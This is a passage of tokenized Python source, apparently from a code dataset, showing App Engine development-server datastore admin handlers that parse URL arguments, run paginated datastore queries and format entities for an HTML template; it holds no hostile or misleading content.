"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "cancel", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "key", "'_", "]_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "Un", "know", "n", " ", "action", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "next_", "=_", "self_", "._", "request_", "._", "path", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "next", "\\u", "param_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next_", "=_", "'%", "s", "?", "%", "s", "'_", "%_", "(_", "next_", ",_", "self_", "._", "\\u", "urlencode_", "(_", "next", "\\u", "param_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "redirect_", "(_", "next_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Datas", "tore", "Request", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "The", " ", "base", " ", "request", " ", "handler", " ", "for", " ", "our", " ", "datast", "ore", " ", "admin", " ", "page", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "We", " ", "provide", " ", "utility", " ", "function", "s", " ", "for", " ", "quer", "ing", " ", "the", " ", "datast", "ore", " ", "and", " ", "infer", "ing", " ", "the", "\\", "10", ";", " ", " ", "types", " ", "of", " ", "entity", " ", "proper", "ties", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Request", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "start_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "the", " ", "sant", "ize", "d", " ", "\"", "start", "\"", " ", "argu", "ment", " ", "from", " ", "the", " ", "URL", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "request_", "._", "get", "\\u", "range_", "(_", "'", "start", "'_", ",_", "min", "\\u", "value_", "=_", "0_", ",_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Request", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "num_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "the", " ", "sanitized", " ", "\"", "num", "\"", " ", "argu", "ment", " ", "from", " ", "the", " ", "URL", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "request_", "._", "get", "\\u", "range_", "(_", "'", "num", "'_", ",_", "min", "\\u", "value_", "=_", "1_", ",_", "max", "\\u", "value_", "=_", "100_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Request", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute", "\\u", "query_", "(_", "self_", ",_", "start_", "=_", "0_", ",_", "num_", "=_", "0_", ",_", "no", "\\u", "order_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Pars", "es", " ", "the", " ", "URL", " ", "argu", "ment", "s", " ", "and", " ", "execute", "s", " ", "the", " ", "query", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "We", " ", "return", " ", "a", " ", "tuple", " ", "(", "list", " ", "of", " ", "entit", "ies", ",", " ", "total", " ", "entity", " ", "count", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "appropr", "iate", " ", "URL", " ", "argu", "ment", "s", " ", "are", " ", "not", " ", "give", "n", ",", " ", "we", " ", "return", " ", "an", " ", "empty", "\\", "10", ";", " ", " ", " ", " ", "set", " ", "of", " ", "results", " ", "and", " ", "0", " ", "for", " ", "the", " ", "entity", " ", "count", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "kind", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "kind_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "[_", "]_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query_", "=_", "datastore_", "._", "Query_", "(_", "kind_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "order_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "order", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order", "\\u", "type_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "order", "\\u", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "order_", "and_", "order", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "type_", "=_", "Data", "Type_", "._", "get", "\\u", "by", "\\u", "name_", "(_", "order", "\\u", "type_", ")_", "._", "python", "\\u", "type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "order_", "._", "startswith_", "(_", "'-'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "direction_", "=_", "datastore_", "._", "Query_", "._", "DESC", "ENDING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "=_", "order_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "direction_", "=_", "datastore_", "._", "Query_", "._", "ASC", "ENDING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "Order_", "(_", "(_", "order_", ",_", "order", "\\u", "type_", ",_", "direction_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "datast", "ore", "\\u", "errors_", "._", "Ba", "d", "Arg", "ument", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "start_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "self_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "num_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num_", "=_", "self_", "._", "num_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "total_", "=_", "query_", "._", "Count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entities_", "=_", "query_", "._", "Get_", "(_", "start_", "+_", "num_", ")_", "[_", "start_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "entities_", ",_", "total_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Request", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "key", "\\u", "values_", "(_", "self_", ",_", "entities_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "the", " ", "uni", "on", " ", "of", " ", "key", " ", "names", " ", "used", " ", "by", " ", "the", " ", "give", "n", " ", "list", " ", "of", " ", "entit", "ies", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "We", " ", "return", " ", "the", " ", "uni", "on", " ", "as", " ", "a", " ", "dictionar", "y", " ", "mapping", " ", "the", " ", "key", " ", "names", " ", "to", " ", "a", " ", "sample", "\\", "10", ";", " ", " ", " ", " ", "value", " ", "from", " ", "one", " ", "of", " ", "the", " ", "entit", "ies", " ", "for", " ", "the", " ", "key", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "entity_", "in_", "entities_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "entity_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "key", "\\u", "dict_", "._", "has", "\\u", "key_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "dict_", "[_", "key_", "]_", "._", "append_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "dict_", "[_", "key_", "]_", "=_", "[_", "value_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "key", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Datas", "tore", "Query", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Ou", "r", " ", "main", " ", "request", " ", "handler", " ", "tha", "t", " ", "execute", "s", " ", "querie", "s", " ", "and", " ", "lists", " ", "entit", "ies", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "We", " ", "use", " ", "execute", "\\u", "query", "()", " ", "in", " ", "our", " ", "base", " ", "request", " ", "handler", " ", "to", " ", "parse", " ", "URL", " ", "argu", "ment", "s", "\\", "10", ";", " ", " ", "and", " ", "execute", " ", "the", " ", "datast", "ore", " ", "query", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "'/", "datast", "ore", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Query", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "kinds", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "sorte", "d", " ", "list", " ", "of", " ", "kind", " ", "names", " ", "the", " ", "datast", "ore", " ", "knows", " ", "abo", "ut", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "shou", "ld", " ", "only", " ", "be", " ", "call", "ed", " ", "in", " ", "the", " ", "develop", "ment", " ", "environ", "ment", " ", "as", " ", "Get", "Schema", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "expen", "sive", " ", "and", " ", "no", " ", "caching", " ", "is", " ", "don", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schema_", "=_", "datast", "ore", "\\u", "admin_", "._", "Get", "Schema_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kinds", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "entity", "\\u", "proto_", "in_", "schema_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kinds", "_", "._", "append_", "(_", "entity", "\\u", "proto_", "._", "key_", "(_", ")_", "._", "path_", "(_", ")_", "._", "element", "\\u", "list_", "(_", ")_", "[_", "-_", "1_", "]_", "._", "type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kinds", "_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "kinds", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Query", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Format", "s", " ", "the", " ", "results", " ", "from", " ", "execute", "\\u", "query", "()", " ", "for", " ", "datast", "ore", ".", "html", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "only", " ", "complex", " ", "part", " ", "of", " ", "tha", "t", " ", "process", " ", "is", " ", "calculati", "ng", " ", "the", " ", "pager", " ", "variab", "les", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "generat", "e", " ", "the", " ", "Goo", "ooo", "gle", " ", "pager", " ", "at", " ", "the", " ", "bottom", " ", "of", " ", "the", " ", "page", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "set_", ",_", "total_", "=_", "self_", "._", "execute", "\\u", "query_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "values_", "=_", "self_", "._", "get", "\\u", "key", "\\u", "values_", "(_", "result", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "=_", "key", "\\u", "values_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sample", "\\u", "value_", "=_", "key", "\\u", "values_", "[_", "key_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "type", "'_", ":_", "Data", "Type_", "._", "get_", "(_", "sample", "\\u", "value_", ")_", "._", "name_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "entities_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edit", "\\u", "path_", "=_", "self_", "._", "base", "\\u", "path_", "(_", ")_", "+_", "Datas", "tore", "Edit", "Handler_", "._", "PATH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "entity_", "in_", "result", "\\u", "set_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "entity_", "._", "has", "\\u", "key_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raw", "\\u", "value_", "=_", "entity_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "type_", "=_", "Data", "Type_", "._", "get_", "(_", "raw", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "data\\u", "type_", "._", "format_", "(_", "raw", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "short", "\\u", "value_", "=_", "data\\u", "type_", "._", "short", "\\u", "format_", "(_", "raw", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addition", "al", "\\u", "html_", "=_", "data\\u", "type_", "._", "addition", "al", "\\u", "short", "\\u", "value", "\\u", "html_", "(_", "raw", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "short", "\\u", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addition", "al", "\\u", "html_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "attributes_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "value", "'_", ":_", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "short", "\\u", "value", "'_", ":_", "short", "\\u", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "addition", "al", "\\u", "html", "'_", ":_", "addition", "al", "\\u", "html_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "entities_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "'_", ":_", "str_", "(_", "entity_", "._", "key_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "\\u", "name", "'_", ":_", "entity_", "._", "key_", "(_", ")_", "._", "name_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "\\u", "id", "'_", ":_", "entity_", "._", "key_", "(_", ")_", "._", "id_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "shorten", "ed", "\\u", "key", "'_", ":_", "str_", "(_", "entity_", "._", "key_", "(_", ")_", ")_", "[_", ":_", "8_", "]_", "+_", "'...'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attribute", "s", "'_", ":_", "attributes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "edit", "\\u", "uri", "'_", ":_", "edit", "\\u", "path_", "+_", "'?", "key", "='_", "+_", "str_", "(_", "entity_", "._", "key_", "(_", ")_", ")_", "+_", "'&", "kind", "='_", "+_", "urllib_", "._", "quote_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "kind", "'_", ")_", ")_", "+_", "'&", "next", "='_", "+_", "urllib_", "._", "quote_", "(_", "self_", "._", "request_", "._", "uri_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start_", "=_", "self_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num_", "=_", "self_", "._", "num_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "pager", "\\u", "links_", "=_", "8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "current", "\\u", "page_", "=_", "start_", "/_", "num_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "pages_", "=_", "int_", "(_", "math_", "._", "ceil_", "(_", "total_", "*_", "1.0_", "/_", "num_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "start_", "=_", "max_", "(_", "math_", "._", "floor_", "(_", "current", "\\u", "page_", "-_", "max", "\\u", "pager", "\\u", "links_", "/_", "2_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "end_", "=_", "min_", "(_", "page", "\\u", "start_", "+_", "max", "\\u", "pager", "\\u", "links_", ",_", "num", "\\u", "pages_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pages_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "page_", "in_", "range_", "(_", "page", "\\u", "start_", "+_", "1_", ",_", "page", "\\u", "end_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pages_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "number", "'_", ":_", "page_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "'_", ":_", "(_", "page_", "-_", "1_", ")_", "*_", "num_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "current", "\\u", "page_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "in", "\\u", "production_", "=_", "self_", "._", "in", "\\u", "production_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "in", "\\u", "production_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kinds", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kinds", "_", "=_", "self_", "._", "get", "\\u", "kinds", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "in", "\\u", "producti", "on", "'_", ":_", "in", "\\u", "production_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "kinds", "'_", ":_", "kinds", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "kind", "'_", ":_", "self_", "._", "request_", "._", "get_", "(_", "'", "kind", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "order", "'_", ":_", "self_", "._", "request_", "._", "get_", "(_", "'", "order", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "entit", "ies", "'_", ":_", "entities_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "'_", ":_", "self_", "._", "request_", "._", "get_", "(_", "'", "msg", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "page", "s", "'_", ":_", "pages_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "current", "\\u", "page", "'_", ":_", "current", "\\u", "page_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "'_", ":_", "num_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "next", "\\u", "start", "'_", ":_", "-_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "prev", "\\u", "start", "'_", ":_", "-_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "'_", ":_", "start_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "total", "'_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "\\u", "base", "\\u", "url", "'_", ":_", "self_", "._", "filter", "\\u", "url_", "(_", "[_", "'", "kind", "'_", ",_", "'", "order", "'_", ",_", "'", "order", "\\u", "type", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "order", "\\u", "base", "\\u", "url", "'_", ":_", "self_", "._", "filter", "\\u", "url_", "(_", "[_", "'", "kind", "'_", ",_", "'", "num", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "current", "\\u", "page_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "prev", "\\u", "start", "'_", "]_", "=_", "int_", "(_", "(_", "current", "\\u", "page_", "-_", "2_", ")_", "*_", "num_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "current", "\\u", "page_", "<_", "num", "\\u", "pages_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "next", "\\u", "start", "'_", "]_", "=_", "int_", "(_", "current", "\\u", "page_", "*_", "num_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "datast", "ore", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Datas", "tore", "Bat", "ch", "Edit", "Handler_", "(_", "Datas", "tore", "Request", 